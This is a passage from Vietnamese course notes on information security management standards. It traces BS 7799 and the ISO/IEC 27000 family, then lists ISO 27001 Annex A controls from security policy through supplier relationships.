Đến nay ITIL đã có thêm 3 phiên bản (v.2 năm 2000, v.3 năm 2007 và v.4 năm 2011).
Mỗi phiên bản mới đều được bổ sung và hoàn thiện nhằm mở rộng thêm phạm vi và
tăng cường khả năng đáp ứng yêu cầu người dùng.
Năm 1995, Viện Tiêu chuẩn Anh (BSI) cho công bố tiêu chuẩn BS 7799: Các
quy tắc thực hành quản lý an toàn thông tin (Code of practice for information security
management), ngày nay được ký hiệu là BS 7799-1. Đây thực sự là tài liệu hướng dẫn
thực hành quản lý ATTT, nó mô tả 10 lĩnh vực với 127 cơ chế kiểm soát hệ thống
ATTT. Phần 2 của tiêu chuẩn là BS7799-2: Các hệ thống quản lý ATTT- Hướng dẫn
sử dụng. (Information security management systems –Specification with guidance for
use) được công bố năm 1998, phần này xác định mô hình tổng quát xây dựng hệ thống
quản lý ATTT (ISMS) và các yêu cầu bắt buộc mà ISMS phải thỏa mãn. Năm 2006,
phần 3 của BS 7799 là BS7799-3 được công bố dành cho lĩnh vực quản lý rủi ro
ATTT.
BS 7799 có thể coi là “khởi nguồn” của các tiêu chuẩn quản lý ATTT. Trong tiêu
chuẩn này, lần đầu tiên đề cập đến các khái niệm như: chính sách an toàn, các nguyên
tắc chung tổ chức bảo vệ thông tin, phân loại và quản lý tài nguyên an toàn nhân sự, an
toàn vật lý, các nguyên lý quản trị hệ thống và mạng, quản lý truy cập.... Năm 1999,
Ủy ban kỹ thuật của ISO xem xét hai phần đầu của BS 7799 và một năm sau đó
BS7799- 1 được ISO ban hành thành tiêu chuẩn quốc tế ISO/IEC 17799: 2000. Năm
2005, BS 7799-2 và BS 7799-3 được ban hành thành các tiêu chuẩn quốc tế ISO/IEC
27001 và ISO/IEC 27005.
Bắt đầu từ năm 2005, tổ chức ISO và IEC đã tiến hành triển khai kế hoạch xây
dựng bộ tiêu chuẩn ISO/IEC 2700X trong lĩnh vực quản lý ATTT và khởi đầu bởi
2700-1 và ISO/IEC 13335-X. Cho đến nay, ISO/IEC 2700X đã có hơn 30 tiêu chuẩn
và một số đang trong quá trình dự thảo. Các tiêu chuẩn này bao quát hầu hết các vấn
đề của lĩnh vực ATTT như: khái quát (các quan điểm, khái niệm và mô hình), các yêu
cầu (đối với hệ thống ISMS, đối với các cơ quan kiểm toán, cấp chứng nhận), các
phương pháp đảm bảo an toàn, các phương pháp đo lường, các quy tắc thực hành quản
lý, hướng dẫn áp dụng ISMS, quản lý an toàn trong các lĩnh vực tài chính (ISO
27015), giáo dục, sức khỏe (ISO/IEC 27099), an toàn mạng (ISO/IEC 27033 gồm 8
tiêu chuẩn từ ISO 27033-1 đến ISO/IEC 27033-8) và nhiều vấn đề khác.
Các tiêu chuẩn quốc tế ISO/IEC hiện được ứng dụng rộng rãi nhất là các tiêu
chuẩn ISO/IEC 27001 và ISO/IEC 27002. Theo thống kê, hai tiêu chuẩn này cùng với
BS7799 và các tiêu chuẩn ITIL, PCI-DSS, COBIT tạo thành những tiêu chuẩn khá phổ
biến (163 nước áp dụng ISO/IEC 27001 và 27002, 110 nước áp dụng BS7799, 115
nước áp dụng PCI-DSS, 50 nước áp dụng ITIL và 160 nước áp dụng COBIT).
Mỗi tiêu chuẩn về quản lý ATTT được sử dụng phổ biến nhất hiện nay có vai trò,
vị trí và trọng tâm riêng. Nếu các tiêu chuẩn ISO/IEC 27001, ISO/IEC 27002 và BS
7799 đặt trọng tâm vào hệ thống quản lý ATTT - ISMS, thì PCI-DSS lại chú trọng vào
23
giao dịch thương mại và thẻ thanh toán, ITIL và COBIT dành cho các vấn đề ATTT
liên quan đến quản lý dự án và quản trị CNTT. Tuy vậy, người ta đã so sánh BS 7799,
ISO 27001, PCI-DSS, ITIL và COBIT theo 12 nội dung quản lý chủ chốt, thường
được gọi là 12EC (12 essetial control), gồm chính sách an toàn, quản lý truyền thông
và vận hành, quản lý truy cập, tổ chức ATTT, tiếp nhận hệ thống thông tin, quản lý tài
sản, quản lý sự cố an toàn, quản lý kinh doanh liên tục, an toàn nguồn nhân lực, an
toàn vật lý và môi trường). Theo tính khả dụng trên phạm vi toàn cầu, tính linh hoạt và
dễ sử dụng với người dùng thì ISO/IEC 27001 chiếm vị trí quán quân. Điều này cũng
dễ hiểu, bởi các tiêu chuẩn ISO là kết quả chọn lọc từ các tiêu chuẩn quốc gia và
chuyên ngành, được hoàn thiện qua đội ngũ chuyên gia nhiều nước làm việc trong các
ban kỹ thuật của tổ chức này.
3.2. Họ tiêu chuẩn ISMS
Hình 3.2. Họ tiêu chuẩn ISMS
Họ tiêu chuẩn ISMS bao gồm các tiêu chuẩn có mối quan hệ với nhau, đã xuất
bản hoặc đang phát triển, và chứa một số thành phần cấu trúc quan trọng. Các thành
phần này tập trung chủ yếu vào mô tả các yêu cầu ISMS (ISO/IEC 27001) và tiêu
24
chuẩn dùng để chứng nhận (ISO/IEC 27006) cho sự phù hợp của tiêu chuẩn ISO/IEC
27001 mà tổ chức áp dụng. Các tiêu chuẩn khác cung cấp hướng dẫn cho khía cạnh
khác nhau thực thi ISMS, giải quyết một quá trình chung, hướng dẫn kiểm soát liên
quan và hướng dẫn cụ thể theo ngành.
3.3. Chuẩn ISO 27001
là tiêu chuẩn quy định các yêu cầu đối với việc xây dựng và áp dụng hệ thống
quản lý an toàn thông tin nhằm đảm bảo tính bảo mật, tính toàn vẹn và tính sẵn sàng
đối với tài sản thông tin của các tổ chức. Việc áp dụng một hệ thống quản lý an toàn
thông tin sẽ giúp các tổ chức ngăn ngừa, hạn chế các tổn thất trong sản xuất, kinh
doanh liên quan tới việc hư hỏng, mất mát các thông tin, dữ liệu quan trọng.
ISO/IEC 27001 là một tiêu chuẩn trong bộ tiêu chuẩn ISO/IEC 27000 về quản lý
an toàn thông tin. Bộ tiêu chuẩn này được xây dựng dựa trên các tiêu chuẩn về quản lý
an toàn thông tin BS 7799 của Viện Tiêu chuẩn Anh (British Standards Institute -
BSI).
Hình 3.3. Danh sách các yêu cầu cần kiểm soát
25
3.4. Chi tiết phụ lục chuẩn ISO 27001
A.5 Chính sách bảo mật thông tin
A.5.1 Phương hướng quản lý an toàn thông tin
Mục tiêu: Đưa ra định hướng quản lý, hỗ trợ bảo mật thông tin phù hợp với doanh
nghiệp và các quy định pháp luật có liên quan.
A.5.1.1 Chính sách an toàn
thông tin
Là một bộ chính sách về bảo mật thông tin
sẽ được cấp quản lý xác định, phê duyệt,
công bố, thông báo cho nhân viên và các
bên liên quan bên ngoài.
A.5.1.2 Phê duyệt chính sách
an toàn thông tin
Các chính sách về an toàn thông tin phải
được xem xét theo các khoảng thời gian đã
lên kế hoạch hoặc nếu có những thay đổi
quan trọng xảy ra để đảm bảo tính phù hợp,
đầy đủ và hiệu quả liên tục của chúng.
A.6.An toàn thông tin trong tổ chức
A.6.1 Tổ chức nội bộ
Mục tiêu: Thiết lập một khuôn khổ quản lý để bắt đầu kiểm soát việc thực hiện và
vận hành an toàn thông tin trong tổ chức.
A.6.1.1 Vai trò và trách nhiệm
an toàn thông tin
Tất cả các trách nhiệm an toàn thông tin
phải được xác định và phân bổ dựa trên
kiểm soát truy cập.
A.6.1.2 Phân chia nhiệm vụ Tất cả các nhiệm vụ và trách nhiệm về an
toàn thông tin sẽ được xác định để giảm
thiểu việc sửa đổi trái phép, sử dụng tài sản
của tổ chức.
A.6.1.3 Liên hệ với các cơ
quan có thẩm quyền
Phải duy trì các mối liên hệ thích hợp với
các cơ quan hữu quan.
A.6.1.4 Liên hệ với nhóm lợi
ích đặc biệt
Liên hệ thích hợp với các nhóm lợi ích đặc
biệt hoặc chuyên gia khác trên các diễn đàn
về bảo mật.
A.6.1.5 An toàn thông tin trong
quản lý dự án
An toàn thông tin phải được đề cập trong
quản lý dự án, không phụ thuộc vào loại dự
án. Quyền truy cập vào bất kỳ hệ thống nào
được yêu cầu trong các dự án có thể được
kiểm soát chặt chẽ.
A.6.2 Thiết bị di động và làm việc từ xa
Mục tiêu: Để đảm bảo an toàn thiết bị làm việc từ xa và sử dụng thiết bị di động
26
A.6.2.1 Chính sách về thiết bị
di động
Một chính sách và các biện pháp an ninh hỗ
trợ phải được áp dụng để quản lý các rủi ro
khi sử dụng các thiết bị di động.
A.6.2.2 Thiết bị làm việc từ xa Một chính sách và các biện pháp an ninh hỗ
trợ phải được thực hiện để bảo vệ truy cập
thông tin, xử lý hoặc lưu trữ tại địa điểm
các thiết bị làm việc từ xa.
A.7 An toàn nguồn nhân lực
A.7.1 Trước khi làm việc
Mục tiêu: Để đảm bảo rằng nhân viên, nhà thầu nhận thức được trách nhiệm và vai
trò của họ.
A.7.1.1 Sàng lọc Việc kiểm tra xác minh lý lịch đối với tất cả
các ứng viên tuyển dụng sẽ được thực hiện
theo các luật, quy định, đạo đức có liên
quan, phải tương ứng với các yêu cầu kinh
doanh, phân loại thông tin được truy cập và
được chứng nhận rủi ro.
A.7.1.2 Điều khoản và điều
kiện tuyển dụng
Các thỏa thuận hợp đồng với nhân viên,
nhà thầu sẽ nêu rõ trách nhiệm của họ và
của tổ chức đối với bảo mật thông tin.
A.7.2 Trong quá trình làm việc
Mục tiêu: Để đảm bảo nhân viên, nhà thầu nhận thức và hoàn thành trách nhiệm bảo
mật thông tin của họ.
A.7.2.1 Trách nhiệm quản lý Ban quản lý phải yêu cầu tất cả nhân viên,
nhà thầu áp dụng bảo mật thông tin theo
các chính sách và thủ tục đã thiết lập của tổ
chức.
A.7.2.2 Nhận thức về an toàn
thông tin, giáo dục và
đào tạo
Tất cả nhân viên của tổ chức nếu có liên
quan, các nhà thầu sẽ được giáo dục và đào
tạo nhận thức phù hợp, cập nhật thường
xuyên về các chính sách, thủ tục của tổ
chức, phù hợp với chức năng công việc của
họ.
A.7.2.3. Quy trình kỷ luật Sẽ có một quy trình chính thức và thông
báo quy trình kỷ luật để thực hiện hành
động nhân viên đã vi phạm bảo mật thông
tin.
A.7.3 Chấm dứt hoặc thay đổi nhân sự
Mục tiêu: Để bảo vệ lợi ích của tổ chức trong phần của quá trình thay đổi hoặc chấm
27
dứt việc làm.
A.7.3.1 Chấm dứt hoặc thay đổi trách nhiệm
tuyển dụng
Các trách nhiệm, nghĩa vụ
bảo mật thông tin vẫn còn
hiệu lực sau khi chấm dứt
hoặc thay đổi công việc sẽ
được xác định, thông báo
cho nhân viên hoặc nhà thầu
và được thực thi.
A.8 Quản lý tài sản
A.8.1 Trách nhiệm đối với tài sản
Mục tiêu: Xác định tài sản của tổ chức, trách nhiệm bảo vệ thích hợp.
A.8.1.1 Kiểm kê tài sản Các tài sản gắn liền với thông tin, các
phương tiện xử lý thông tin phải được xác
định, kiểm kê các tài sản này sẽ được lập và
duy trì.
A.8.1.2 Quyền sở hữu tài sản Tài sản sở hữu trong hàng tồn kho.
A.8.1.3 Chấp nhận sử dụng tài
sản
Các quy tắc sử dụng thông tin được chấp
nhận, tài sản gắn liền với thông tin, các
phương tiện xử lý thông tin phải được xác
định, lập thành văn bản và thực hiện.
A 8.1.4 Trả lại tài sản Tất cả nhân viên và người sử dụng bên
ngoài phải trả lại tất cả tài sản của tổ chức
mà họ sở hữu khi chấm dứt hợp đồng, hợp
đồng hoặc thỏa thuận lao động.
A.8.2 Phân loại thông tin
Mục tiêu: Để đảm bảo rằng thông tin nhận được mức độ bảo vệ phù hợp với tầm
quan trọng của nó đối với tổ chức.
A.8.2.1 Phân loại thông tin Thông tin phải được phân loại theo các yêu
cầu pháp lý, giá trị, tính nghiêm trọng và
độ nhạy đối với việc tiết lộ hoặc sửa đổi
trái phép.
A.8.2.2 Ghi nhãn thông tin Một bộ thủ tục thích hợp để ghi nhãn thông
tin phải được phát triển và thực hiện theo
sơ đồ phân loại thông tin được tổ chức
thông qua.
A.8.2.3 Xử lý tài sản Các thủ tục xử lý tài sản sẽ được xây dựng
và thực hiện theo sơ đồ phân loại thông tin
được tổ chức áp dụng.
28
A.8.3 Xử lý thiết bị
Mục tiêu: Ngăn chặn việc tiết lộ, sửa đổi, loại bỏ hoặc phá hủy trái phép thông tin
được lưu trữ trên các thiết bị
A.8.3.1 Quản lý thiết bị di động Các thủ tục phải được thực hiện để quản lý
thiết bị di động phù hợp với sơ đồ phân loại
được tổ chức thông qua.
A.8.3.2 Thải bỏ thiết bị Thiết bị phải được xử lý an toàn khi không
còn cần thiết, sử dụng các thủ tục chính
thức.
A.8.3.3 Truyền thiết bị vật lý Thiết bị chứa thông tin phải được bảo vệ
chống lại việc truy cập trái phép, sử dụng
sai mục đích hoặc hỏng hóc trong quá trình
vận chuyển.
A.9 Kiểm soát truy cập
A.9.1 Yêu cầu nghiệp vụ về kiểm soát truy cập
Mục tiêu: Hạn chế khả năng tiếp cận thông tin và các thiết bị xử lý thông tin
A.9.1.1 Chính sách kiểm soát
truy cập
Chính sách kiểm soát truy cập phải được
thiết lập, lập thành văn bản và xem xét dựa
trên các yêu cầu kinh doanh về bảo mật
thông tin.
A.9.1.2 Quyền truy cập mạng
và dịch vụ mạng
Người dùng chỉ được cung cấp quyền truy
cập vào mạng và các dịch vụ mạng mà họ
đã được ủy quyền cụ thể để sử dụng.
A.9.2 Quản lý quyền truy cập của người dùng
Mục tiêu: Để đảm bảo quyền truy cập của người dùng được ủy quyền, ngăn chặn
truy cập trái phép vào các hệ thống và dịch vụ
A.9.2.1 Đăng ký người dùng và
hủy đăng ký
Quy trình đăng ký và hủy đăng ký người
dùng chính thức sẽ được thực hiện để cho
phép chuyển nhượng quyền truy cập.
A.9.2.2 Cấp quyền truy cập của
người dùng
Một quy trình cấp phép truy cập chính thức
của người dùng sẽ được thực hiện để chỉ
định hoặc thu hồi quyền truy cập cho tất cả
các loại người dùng đối với tất cả các hệ
thống và dịch vụ.
A.9.2.3 Quản lý quyền truy cập
đặc quyền.
Việc phân bổ, sử dụng các quyền truy cập
đặc quyền sẽ bị hạn chế và kiểm soát.
A.9.2.4 Quản lý thông tin xác
thực bí mật của người
dùng
Việc phân bổ thông tin xác thực bí mật sẽ
được kiểm soát thông qua một quy trình
quản lý chính thức.
29
Â.9.2.5 Xem xét quyền truy
cập của người dùng
Chủ sở hữu nội dung phải xem xét quyền
truy cập của người dùng theo định kỳ.
A.9.2.6 Xóa bỏ hoặc điều chỉnh
quyền truy cập
Quyền truy cập của tất cả nhân viên, người
dùng bên ngoài vào thông tin và cơ sở xử lý
thông tin sẽ bị xóa bỏ khi chấm dứt hợp
đồng, hợp đồng hoặc thỏa thuận của họ
hoặc được điều chỉnh khi thay đổi.
A.9.3 Trách nhiệm của người dùng
Mục tiêu: Ngăn chặn truy cập trái phép vào các hệ thống và ứng dụng
A.9.3.1 Trách nhiệm của người
dùng
Để người dùng có trách nhiệm bảo vệ thông
tin xác thực của họ.
A.9.4 Kiểm soát truy cập hệ thống và ứng dụng
Mục tiêu: Ngăn chặn truy cập trái phép vào các hệ thống và ứng dụng.
A.9.4.1 Hạn chế truy cập thông
tin
Quyền truy cập vào thông tin và các chức
năng của hệ thống ứng dụng sẽ bị hạn chế
phù hợp với chính sách kiểm soát truy cập.
A.9.4.2 Quy trình đăng nhập an
toàn
Khi được yêu cầu bởi chính sách kiểm soát
truy cập, quyền truy cập vào các hệ thống
và ứng dụng sẽ được kiểm soát bởi quy
trình đăng nhập an toàn.
A.9.4.3 Hệ thống quản lý mật
khẩu
Hệ thống quản lý mật khẩu phải tương tác
và phải đảm bảo mật khẩu chất lượng.
A.9.4.4 Sử dụng các chương
trình tiện ích đặc quyền
Việc sử dụng các chương trình tiện ích có
thể có khả năng ghi đè các kiểm soát ứng
dụng, hệ thống sẽ bị hạn chế và kiểm soát
chặt chẽ.
A.9.4.5 Kiểm soát truy cập đến
mã nguồn chương trình
Quyền truy cập vào mã nguồn chương trình
sẽ bị hạn chế.
A.10 Mã hóa
A.10.1 Kiểm soát mã hóa
Mục tiêu: Để đảm bảo việc sử dụng mật mã đúng cách, hiệu quả để bảo vệ tính bí
mật, tính xác thực và tính toàn vẹn của thông tin.
A.10.1.1 Chính sách sử dụng các
biện pháp kiểm soát mã
hóa
Một chính sách về việc sử dụng các biện
pháp kiểm soát mã hóa để bảo vệ thông tin
được phát triển và thực hiện.
A.10.1.2 Quản lý khóa Một chính sách về sử dụng, bảo vệ các
khóa mã hóa sẽ được phát triển và thực
hiện trong toàn bộ vòng đời của chúng.
A.11 An toàn môi trường vật lý
30
A.11.1 Phạm vi an toàn
Mục tiêu: Để ngăn chặn truy cập vật lý trái phép, làm hỏng, can thiệp vào thông tin
và phương tiện xử lý thông tin của tổ chức
A.11.1.1 Phạm vi an ninh vật lý Các phạm vi an ninh phải được xác định,
sử dụng để bảo vệ các khu vực có chứa
thông tin nhạy cảm hoặc quan trọng và các
phương tiện xử lý thông tin.
A.11.1.2 Kiểm soát lối vào vật
lý
Các khu vực an toàn phải được bảo vệ
bằng các biện pháp kiểm soát lối vào thích
hợp để đảm bảo rằng chỉ những người có
thẩm quyền mới được phép tiếp cận.
A.11.1.3 Đảm bảo an toàn cho
văn phòng, các phòng
và các thiết bị
An ninh vật lý cho văn phòng, phòng và cơ
sở phải được thiết kế và áp dụng.
A.11.1.4 Bảo vệ chống lại các
mối đe dọa từ bên
ngoài và môi trường
Phải thiết kế và áp dụng biện pháp bảo vệ
vật lý chống lại thiên tai, tấn công ác ý
hoặc tai nạn.
A.11.1.5 Làm việc trong khu
vực an toàn
Các quy trình làm việc trong khu vực an
toàn phải được thiết kế và áp dụng.
A.11.1.6 Khu vực giao hàng và
phân phối
Các điểm truy cập như khu vực giao hàng,
chứa hàng và các điểm khác mà người
không được phép có thể vào cơ sở phải
được kiểm soát và nếu có thể, cách ly khỏi
các cơ sở xử lý thông tin để tránh truy cập
trái phép.
A.11.2 Thiết bị
Mục tiêu: Để ngăn ngừa mất mát, hư hỏng, trộm cắp hoặc xâm phạm tài sản và làm
gián đoạn hoạt động của tổ chức.
A.11.2.1 Vị trí đặt và bảo vệ
thiết bị
Thiết bị phải được bố trí và bảo vệ để giảm
thiểu rủi ro từ các mối đe dọa, nguy cơ từ
môi trường cũng như các cơ hội tiếp cận
trái phép.
A.11.2.2 Hỗ trợ các tiện ích Thiết bị phải được bảo vệ khỏi sự cố mất
điện và các hư hỏng khác do hỏng hóc
trong các tiện ích hỗ trợ.
A.11.2.3 An toàn cáp Hệ thống cáp điện và cáp viễn thông mang
dữ liệu hoặc các dịch vụ thông tin hỗ trợ sẽ
được bảo vệ khỏi bị đánh chặn, can thiệp
hoặc hư hỏng.
31
A.11.2.4 Bảo trì thiết bị Thiết bị phải được bảo dưỡng chính xác để
đảm bảo tính khả dụng và tính toàn vẹn liên
tục
A.11.2.5 Loại bỏ tài sản Thiết bị, thông tin hoặc phần mềm không
được mang ra khỏi địa điểm mà không có
sự cho phép trước.
A.11.2.6 Bảo vệ thiết bị và tài
sản bên ngoài cơ sở
Bảo vệ sẽ được áp dụng cho các tài sản bên
ngoài cơ sở có tính đến các rủi ro khác
nhau khi làm việc bên ngoài cơ sở của tổ
chức
A.11.2.7 Tiêu hủy hoặc tái sử
dụng thiết bị an toàn
Tất cả các hạng mục của thiết bị có chứa
phương tiện lưu trữ phải được xác minh để
đảm bảo rằng mọi dữ liệu nhạy cảm và
phần mềm được cấp phép đã bị xóa hoặc
ghi đè an toàn trước khi thải bỏ hoặc sử
dụng lại
A.11.2.8 Thiết bị người dùng
không có người giám
sát
Người dùng phải đảm bảo rằng thiết bị
không có người giám sát được bảo vệ thích
hợp.
A.11.2.9 Chính sách bàn làm
việc và màn hình máy
tính sạch
Chính sách bàn giấy sạch cho giấy tờ,
phương tiện lưu trữ di động và chính sách
màn hình trống cho các phương tiện xử lý
thông tin sẽ được áp dụng.
A.12 An toàn vận hành
A.12.1 Quy trình vận hành và trách nhiệm
Mục tiêu: Để đảm bảo hoạt động chính xác và an toàn của các phương tiện xử lý
thông tin.
A.12.1.1 Các quy trình vận hành
được lập thành văn bản
Các quy trình vận hành phải được lập
thành văn bản và cung cấp cho tất cả
những người dùng cần chúng.
A.12.1.2 Quản lý thay đổi Các thay đổi đối với tổ chức, quy trình kinh
doanh, phương tiện xử lý thông tin và hệ
thống ảnh hưởng đến an toàn thông tin phải
được kiểm soát.
A.12.1.3 Quản lý năng lực Việc sử dụng các nguồn lực phải được theo
dõi, điều chỉnh và dự đoán các yêu cầu về
năng lực trong tương lai để đảm bảo hiệu
suất hệ thống cần thiết.
32
A.12.1.4 Phân tách môi trường
phát triển, thử nghiệm
và hoạt động
Môi trường phát triển, thử nghiệm và hoạt
động phải được tách biệt để giảm rủi ro
truy cập trái phép hoặc thay đổi môi trường
hoạt động.
A.12.2 Bảo vệ khỏi phần mềm độc hại
Mục tiêu: Để đảm bảo rằng thông tin và các phương tiện xử lý thông tin được bảo vệ
khỏi phần mềm độc hại.
A.12.2.1 Các biện pháp kiểm
soát chống lại phần
mềm độc hại
Các biện pháp kiểm soát phát hiện, ngăn
chặn và khôi phục để bảo vệ khỏi phần
mềm độc hại sẽ được thực hiện, kết hợp với
nhận thức phù hợp của người dùng.
A.12.3 Sao lưu
Mục tiêu: Để bảo vệ khỏi mất mát dữ liệu
A.12.3.1 Sao lưu thông tin Các bản sao lưu thông tin, phần mềm, hình
ảnh hệ thống sẽ được chụp và kiểm tra
thường xuyên theo chính sách sao lưu đã
thỏa thuận.
A.12.4 Ghi nhật ký và giám sát
Mục tiêu: Ghi lại các sự kiện và bằng chứng.
A.12.4.1 Nhật ký sự kiện Nhật ký sự kiện ghi lại các hoạt động của
người dùng, ngoại lệ, lỗi và các sự kiện bảo
mật thông tin sẽ được tạo, lưu giữ, thường
xuyên xem xét.
A.12.4.2 Bảo vệ thông tin nhật
ký
Các phương tiện ghi nhật ký, thông tin nhật
ký sẽ được bảo vệ chống lại sự giả mạo và
truy cập trái phép
A.12.4.3 Nhật ký quản trị viên
và điều hành
Các hoạt động của quản trị viên hệ thống,
điều hành hệ thống sẽ được ghi lại và các
nhật ký được bảo vệ, xem xét thường xuyên
A.12.4.4 Đồng bộ hóa thời gian Thời gian của tất cả các hệ thống xử lý
thông tin liên quan trong một tổ chức hoặc
miền bảo mật sẽ được đồng bộ hóa với một
nguồn thời gian tham chiếu duy nhất.
A.12.5 Kiểm soát phần mềm vận hành
Mục tiêu: Để đảm bảo tính toàn vẹn của hệ thống hoạt động.
A.12.5.1 Cài đặt phần mềm trên
hệ thống vận hành
Các thủ tục phải được thực hiện để kiểm
soát việc cài đặt phần mềm trên các hệ
thống vận hành.
A.12.6 Quản lý lỗ hổng kỹ thuật
33
Mục tiêu: Ngăn chặn việc khai thác các lỗ hổng kỹ thuật
A.12.6.1 Quản lý kiểm soát
đánh giá hệ thống
Thông tin về các lỗ hổng kỹ thuật của các
hệ thống thông tin đang được sử dụng phải
được thu thập kịp thời, mức độ tiếp xúc của
tổ chức với các lỗ hổng đó được đánh giá
và có các biện pháp thích hợp được thực
hiện để giải quyết rủi ro liên quan.
A.12.6.2 Hạn chế cài đặt phần
mềm
Các quy tắc quản lý việc cài đặt phần mềm
của người dùng sẽ được thiết lập và thực
hiện.
A.12.7 Xem xét đánh giá hệ thống thông tin
Mục tiêu: Giảm thiểu tác động của hoạt động kiểm toán đối với hoạt động hệ thống
A.12.7.1 Kiểm soát đánh giá hệ
thống thông tin
Các yêu cầu đánh giá và các hoạt động liên
quan đến xác minh hệ thống hoạt động phải
được lập kế hoạch cẩn thận, thống nhất để
giảm thiểu sự gián đoạn đối với các quy
trình kinh doanh.
A.13 An toàn truyền thông
A.13.1 Quản lý an ninh mạng
Mục tiêu: Đảm bảo bảo vệ thông tin trong mạng và các phương tiện xử lý thông tin
hỗ trợ của nó
A.13.1.1 Kiểm soát mạng Mạng phải được quản lý, kiểm soát để bảo
vệ thông tin trong các hệ thống và ứng
dụng.
A.13.1.2 Bảo mật các dịch vụ
mạng
Các cơ chế bảo mật, mức độ dịch vụ, yêu
cầu quản lý của tất cả các dịch vụ mạng sẽ
được xác định và đưa vào các thỏa thuận
dịch vụ mạng, cho dù các dịch vụ này được
cung cấp trong nhà hay thuê ngoài.
A.13.1.3 Phân chia mạng Các nhóm dịch vụ thông tin, người dùng và
hệ thống thông tin sẽ được tách biệt trên
mạng.
A.13.2 Truyền thông tin
Mục tiêu: Duy trì tính bảo mật của thông tin được chuyển trong một tổ chức và với
bất kỳ thực thể bên ngoài nào
A.13.2.1 Thủ tục và chính sách
truyền thông tin
Các chính sách, thủ tục và kiểm soát
chuyển giao chính thức sẽ được áp dụng để
bảo vệ việc chuyển giao thông tin thông
qua việc sử dụng tất cả các loại phương
34
tiện liên lạc.
A.13.2.2 Thỏa thuận về truyền
thông tin
Các thỏa thuận sẽ giải quyết việc chuyển
giao an toàn thông tin kinh doanh giữa tổ
chức và các bên bên ngoài.
A.13.2.3 Tin nhắn điện tử Thông tin liên quan đến nhắn tin điện tử
phải được bảo vệ thích hợp.
A.13.2.4 Thỏa thuận bảo mật
hoặc không tiết lộ
Các yêu cầu đối với thỏa thuận bảo mật
hoặc không tiết lộ phản ánh nhu cầu của tổ
chức đối với việc bảo vệ thông tin sẽ được
xác định, xem xét thường xuyên và lập
thành văn bản.
A.14 An toàn tiếp nhận và bảo trì hệ thống
A14.1 Yêu cầu bảo mật của hệ thống thông tin
Mục tiêu: Đảm bảo an toàn thông tin là một phần không thể thiếu của hệ thống
thông tin trong toàn bộ vòng đời. Điều này cũng bao gồm các yêu cầu đối với hệ
thống thông tin cung cấp dịch vụ qua mạng công cộng
A.14.1.1 Phân tích và đặc tả các
yêu cầu về an toàn
thông tin
Các yêu cầu liên quan đến an toàn thông
tin phải được bao gồm trong các yêu cầu
đối với hệ thống thông tin mới hoặc các cải
tiến đối với hệ thống thông tin hiện có.
A.14.1.2 Bảo mật các dịch vụ
ứng dụng trên mạng
công cộng
Thông tin liên quan đến các dịch vụ ứng
dụng truyền qua mạng công cộng sẽ được
bảo vệ khỏi hoạt động gian lận, tranh chấp
hợp đồng, tiết lộ và sửa đổi trái phép.
A.14.1.3 Bảo vệ các giao dịch
dịch vụ ứng dụng
Thông tin liên quan đến các giao dịch dịch
vụ ứng dụng sẽ được bảo vệ để ngăn chặn
việc truyền tải không đầy đủ, định tuyến
sai, sửa đổi thông báo trái phép, tiết lộ trái
phép, sao chép hoặc phát lại thông báo trái
phép.
A.14.2 Bảo mật trong quá trình phát triển và hỗ trợ
Mục tiêu: Đảm bảo an toàn thông tin được thiết kế và thực hiện trong vòng đời phát
triển của hệ thống thông tin
A.14.2.1 Chính sách phát triển
an toàn
Những quy tắc cho sự phát triển của phần
mềm, hệ thống phải được thiết lập và ứng
dụng để phát triển trong tổ chức.
35
A.14.2.2 Các thủ tục kiểm soát
thay đổi hệ thống
Các thay đổi đối với hệ thống trong vòng
đời phát triển sẽ được kiểm soát bằng cách
sử dụng các thủ tục kiểm soát thay đổi
chính thức.
A.14.2.3 Xem xét kỹ thuật các
ứng dụng sau khi thay
đổi nền tảng hoạt động
Khi nền tảng hoạt động được thay đổi, các
ứng dụng quan trọng của doanh nghiệp sẽ
được xem xét và kiểm tra để đảm bảo không
có tác động tiêu cực đến hoạt động hoặc
bảo mật của tổ chức.
A.14.2.4 Hạn chế đối với các
thay đổi đối với gói
phần mềm
Không khuyến khích sửa đổi gói phần mềm,
giới hạn ở những thay đổi cần thiết và mọi
thay đổi phải được kiểm soát chặt chẽ
A.14.2.5 Nguyên tắc an toàn hệ
thống kỹ thuật
Các nguyên tắc về kỹ thuật hệ thống an
toàn phải được thiết lập, lập thành văn bản,
duy trì và áp dụng cho bất kỳ nỗ lực triển
khai hệ thống thông tin nào
A.14.2.6 Môi trường phát triển
an toàn
Các tổ chức phải thiết lập, bảo vệ một cách
thích hợp các môi trường phát triển an toàn
cho các nỗ lực phát triển và tích hợp hệ
thống bao gồm toàn bộ vòng đời phát triển
hệ thống.
A.14.2.7 Phát triển thuê ngoài Tổ chức phải giám sát và theo dõi hoạt
động phát triển hệ thống thuê ngoài
A.14.2.8 Kiểm thử bảo mật hệ
thống
Kiểm tra chức năng bảo mật sẽ được thực
hiện trong quá trình phát triển
A.14.2.9 Kiểm thử chấp nhận hệ
thống
Các chương trình kiểm tra chấp nhận, các
tiêu chí liên quan sẽ được thiết lập cho các
hệ thống thông tin mới, các bản nâng cấp
và phiên bản mới.
A.14.3 Kiểm tra dữ liệu
Mục tiêu: Để đảm bảo bảo vệ dữ liệu được sử dụng để thử nghiệm
A.14.3.1 Bảo vệ dữ liệu thử
nghiệm
Dữ liệu thử nghiệm phải được lựa chọn cẩn
thận, được bảo vệ và kiểm soát.
A.15 Mối quan hệ với nhà cung cấp
A.15.1 Chính sách bảo mật thông tin cho các mối quan hệ với nhà cung cấp
Mục tiêu: Đảm bảo bảo vệ tài sản của tổ chức mà các nhà cung cấp có thể tiếp cận
A.15.1.1 Chính sách bảo mật
thông tin cho các mối
quan hệ với nhà cung
Các yêu cầu về bảo mật thông tin để giảm
thiểu rủi ro liên quan đến quyền truy cập
của nhà cung cấp vào tài sản của tổ chức
36
cấp phải được thỏa thuận với nhà cung cấp và
được lập thành văn bản.
A.15.1.2 Giải quyết vấn đề bảo
mật trong các thỏa
thuận với nhà cung cấp
Tất cả các yêu cầu về bảo mật thông tin
liên quan phải được thiết lập và thống nhất
với từng nhà cung cấp có thể truy cập, xử
lý, lưu trữ, giao tiếp hoặc cung cấp các
thành phần cơ sở hạ tầng CNTT cho thông
tin của tổ chức.
A.15.1.3 Chuỗi cung ứng công
nghệ thông tin và
truyền thông
Các thỏa thuận với nhà cung cấp phải bao
gồm các yêu cầu để giải quyết các rủi ro an
toàn thông tin liên quan đến các dịch vụ
công nghệ thông tin, truyền thông và chuỗi
cung ứng sản phẩm.
A.15.2 Quản lý cung cấp dịch vụ của nhà cung cấp
